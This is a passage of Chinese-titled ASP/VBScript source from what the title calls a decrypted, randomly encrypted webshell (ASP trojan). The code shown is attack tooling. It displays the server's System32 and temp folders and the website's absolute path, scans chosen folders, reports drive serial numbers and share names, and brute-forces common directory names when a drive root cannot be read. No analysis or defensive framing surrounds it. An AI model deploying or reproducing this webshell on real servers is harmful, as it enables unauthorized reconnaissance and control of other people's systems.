asp木马代码解密的随机加密webshell

te " </FORM>"
Response.Write " </TR>"
Response.Write " <TR class=TBTD>"
Response.Write " <FORM action="
Response.Write "?Action=ScFolder&Folder="
Response.Write FSO.GetSpecialFolder(1)
Response.Write " method=Post> "
Response.Write " <TD align=middle><B>System32文件夹</B></TD>"
Response.Write " <TD colspan=3>"
Response.Write FSO.GetSpecialFolder(1)
Response.Write "</TD>"
Response.Write " <TD align=middle><INPUT type=submit value=详细报告></TD>"
Response.Write " </FORM>"
Response.Write " </TR>"
Response.Write " <TR class=TBTD>"
Response.Write " <FORM action="
Response.Write "?Action=ScFolder&Folder="
Response.Write FSO.GetSpecialFolder(2)
Response.Write " method=Post> "
Response.Write " <TD align=middle><B>系统临时文件夹</B></TD>"
Response.Write " <TD colspan=3>"
Response.Write FSO.GetSpecialFolder(2)
Response.Write "</TD>"
Response.Write " <TD align=middle><INPUT type=submit value=详细报告></TD>"
Response.Write " </FORM>"
Response.Write " </TR>"
Response.Write "</TABLE><BR>"
Response.Write "<DIV align=center>"
Response.Write "<b>当前网站绝对路径:"&Server.MapPath("/")&"</b>"
Response.Write " <FORM Action="
Response.Write "?Action=ScFolder method=Post>指定文件夹查询："
Response.Write " <INPUT type=text name=Folder>"
Response.Write " <INPUT type=submit value=生成报告>　指定文件夹路径。如：F:\ASP\"
Response.Write " </FORM>"
Response.Write "<DIV>"
Set FSO=Nothing
End Sub

Sub ScanDrive(Drive) ''扫描指定磁盘
Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D
If Drive <> "" Then
Set FSO = Server.Createobject("Scripting.FileSystemObject")
Set TestDrive = FSO.GetDrive(Drive)
If TestDrive.IsReady Then
Temp_Str = "<LI>磁盘分区类型：" & Red(TestDrive.FileSystem) & "<LI>磁盘序列号：" & Red(TestDrive.SerialNumber) & "<LI>磁盘共享名：" & Red(TestDrive.ShareName) & "<LI>磁盘总容量：" & Red(CInt(TestDrive.TotalSize/1048576)) & "<LI>磁盘卷名：" & Red(TestDrive.VolumeName) & "<LI>磁盘根目录:" & ScReWr((Drive & ":\"))

Set BaseFolder = TestDrive.RootFolder
Set TempFolders = BaseFolder.SubFolders
For Each D in TempFolders
Temp_Str = Temp_Str & "<LI>文件夹：" & ScReWr(D)
Next
Set TempFolder = Nothing
Set BaseFolder = Nothing
Else
Temp_Str = Temp_Str & "<LI>磁盘根目录:" & Red("不可读:(")
Dim TempFolderList,t:t=0
Temp_Str = Temp_Str & "<LI>" & Red("穷举目录测试：")
TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp")
For i = 0 to Ubound(TempFolderList)
If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then
t = t+1
Temp_Str = Temp_Str & "<LI>发现文件夹：" & ScReWr(Drive & ":\" & TempFolderList(i))
End if
Next
If t=0 then Temp_Str = Temp_Str & "<L